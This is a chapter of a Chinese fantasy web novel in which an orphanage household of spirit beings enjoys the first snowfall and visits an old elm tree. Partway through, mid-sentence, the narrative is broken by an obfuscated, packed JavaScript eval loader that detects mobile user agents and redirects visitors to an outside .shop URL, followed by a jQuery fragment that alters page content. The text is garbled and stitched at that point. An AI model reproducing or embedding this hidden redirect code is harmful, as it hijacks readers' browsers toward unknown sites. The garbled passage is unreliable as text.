北城的第一场雪来得比往年早。
那天早上林小满推开门的时候，院子里已经铺了薄薄一层白。青砖地面上盖着一层细密的雪粒，枣树的枝丫上挂着一层白绒，就连门槛上陶陶啃过的那些牙印都被雪填平了。空气冷而清冽，呼出的气在面前凝成一团白雾。她深吸了一口气，然后转身冲屋里喊了一句：“下雪了。”
陶陶是第一个冲出来的。他光着脚趿着拖鞋跑出来，踩在雪地上留下两排小小的脚印，跑到院子中间站住了，仰着脸看天上还在飘的雪粒，嘴巴张着，伸出舌头去接。书书跟在后面出来，蹲下来用手捧了一捧雪，捏了一个拳头大的雪球，端详了一下，然后放在枣树根旁边，说是“给绿芽的雪人”。绿芽的四片叶子上积了一小撮雪，叶尖被压得微微下垂，但叶子本身还是绿的，在白雪的映衬下绿得格外鲜亮。
小榆蹲在枣树底下他的扎根位上，根须伸在土里没有收回来。他仰着脸看着从天而降的雪粒，琥珀绿色的眼睛里映着那些细碎的白色，表情比平时安静。陶陶跑过来把一捧雪递到他面前：“给你！”小榆低头看了看那捧雪，伸手碰了碰。雪在他指尖化成了水，他收回手指看着指尖那一点湿痕，然后说了一句：“林子里也会下雪。但树根底下不冷。”
胡离从厨房出来的时候肩膀上搭了条毛巾，头发还湿着。他看了一眼院子里的雪，皱了皱眉：“水管别冻了就行。”然后转身回厨房去检查灶台和炉子。书书跟在后面进去帮忙烧水。白泽是最后一个出来的。他站在走廊底下，鹿角上的金光在雪后的灰白色天光里显得格外温润。他没有走到雪地里，只是站在檐下看了一会儿院子——老枣树、绿芽、小榆的扎根位、陶陶踩出来的脚印、书书捏的小雪球。然后他回屋把外套穿上了，走到院子里。
小暖从杂物间的门缝里挤出来的时候，暖光在雪地上映出一小圈淡金色的光晕。它没有滚到院子中间去，而是沿着走廊边缘的干地滚到枣树根旁边停住了。它用触须碰了碰绿芽叶子上积的那一小撮雪，暖光在雪的表面亮了一下，雪化了一小片，露出底下鲜绿色的叶尖。小暖收回触须，金色小眼睛弯了弯，嗡鸣声很轻：“……凉。但没冻着。”
早饭桌上比平时热闹。胡离煮了一锅热粥，书书蒸了几个馒头，陶陶把自己那份馒头掰了一半给小榆，又掰了一半给小暖——虽然小暖不吃，但陶陶坚持要“给它闻闻”。窗外的雪还在下，细密而安静，落在枣树的枝丫上、落在绿芽的叶子上、落在门槛上，把整个院子慢慢地、一层一层地盖起来。
吃完早饭之后，林小满把今天的日程调整了一下。城北老榆树的日常检查推到下午，上午全员在院子里扫雪、收拾屋子、把怕冻的东西搬进厨房。陶陶拿着一把小扫帚在院子里乱划，把雪扫得东一堆西一堆，被胡离拎着后脖领子提回来重新扫了一遍。书书把石桌上的笔记本和笔收进屋里，又把晾灵纸的竹架搬到了廊下避雪。小榆蹲在绿芽旁边，用手把叶子上积的雪轻轻拨掉，动作很轻，像在给一个很小的孩子擦脸。
下午雪停了。全员出发去城北看老榆树。路上的雪比城里厚一些，车子开得慢，到绕城高速边上那条老路的时候，路边的荒草和旧铁路都被雪盖住了，白茫茫的一片，只有铁轨的轮廓从雪底下隐约透出来。树林里的雪比外面薄，树冠挡住了大半落雪，树干上挂着零星的雪团，枝丫上的积雪偶尔簌簌地落下来，在地上砸出一个小坑。
老榆树的树干上积了薄薄一层雪。那些消退了大半的灰黑色斑块在白雪的映衬下显得比之前更淡了。小榆把手贴在树干上感应了一会儿，然后回头说：“它说很好。下雪天它觉得舒服，雪水渗到根里，比雨水好。”小暖从白泽肩膀上蹦下来滚到树根旁边，暖光贴着雪地探了一圈，然后滚回来说：“……干净的。里面没有暗气。雪把它洗了。”白泽站在树干北侧，看了看姜修行者刻字的位置。刻痕里积了一小撮雪，他用指腹轻轻拨掉，露出了底下的笔画。那只蜷着的小鹿在雪后的灰白色光线里安静地嵌在树皮里，像一枚很久以前盖下的印章。
回程的路上雪又开始飘了。陶陶趴在车窗上看外面的雪，说“比来的时候大了”。书书在翻手机里今天的照片，挑了几张发给了银杏先生。小榆靠着车窗坐着，手指尖的树皮纹路亮着微光，和沿途地底下那些藏在雪层下面的根系安安静静地连着。小暖蹲在白泽膝头，暖光收成一小团，和光核的频率慢慢趋同着。白泽靠着座椅，鹿角金光在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943843|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灰白色的天光里温润地亮着。
回到福利院的时候天快黑了。院子里又积了一层新雪，枣树上的雪比早上更厚了，绿芽的四片叶子被雪压得微微弯着，但叶子本身还是绿的。陶陶跑进院子把绿芽叶子上的雪拨掉，被冰凉的雪水激了一下手，甩着手跑回屋里去了。书书把廊下的竹架又检查了一遍，确认灵纸没有被雪打湿。胡离在厨房里烧了一锅热水，给每个人灌了一个暖水袋。
晚饭后全员窝在厨房里。灶台烧着，屋里暖烘烘的，窗玻璃上起了一层雾气。陶陶趴在桌上写拼音，写一会儿就用手在雾气上画一个图案。书书在旁边翻笔记本，把今天的记录补完。小榆蹲在灶台旁边，根须没有伸进土里，而是贴着灶台的地面，像是在感受地底下的暖意。小暖蜷在灶台边的暖光垫上，暖光和灶火的光融在一起，把整间厨房照得比平时更暖。白泽坐在厨房角落的凳子上，鹿角金光在灶火的映照下显得格外温润。他手里攥着那两枚扣子，没有放进布袋里，只是握在掌心里。
林小满端着热水在厨房里站了一会儿，看着满屋子的人和暖光。然后她走到白泽旁边坐下来，把一杯热水递给他。白泽接过去喝了一口。她问：“明天还去看老榆树吗？”白泽想了想：“隔几天再去。雪天不用跑太勤。它自己会养。”林小满点了点头，也喝了一口水。两个人并排坐着，看了一会儿灶台里的火苗。陶陶在雾气上画了一个笑脸，转过头来冲他们咧嘴。
夜深了，雪还在下。福利院的灯一盏一盏熄了。小榆蹲在枣树底下他的扎根位上，根须伸进土里和绿芽碰着。绿芽的四片叶子上又积了一层薄薄的雪，但叶子在雪底下安静地绿着。小暖蜷在杂物间的罐子里，光核在它旁边亮着，暖光把罐子内壁照得暖融融的。白泽站在偏房门口看了一眼院子——雪把一切都盖住了，老枣树、绿芽、小榆的扎根位、陶陶的脚印、书书的小雪球，全都覆在一层安静的白下面。他把门带上，留了一道缝。门缝里的光落在走廊地面上，和杂物间透出来的暖光在走廊中间碰上了，融成一片浅浅的亮。
院子里很安静。雪落在枣树的枝丫上，落在绿芽的叶子上，落在走廊的屋檐上，声音很轻很密，像有什么东西在夜里安安静静地呼吸。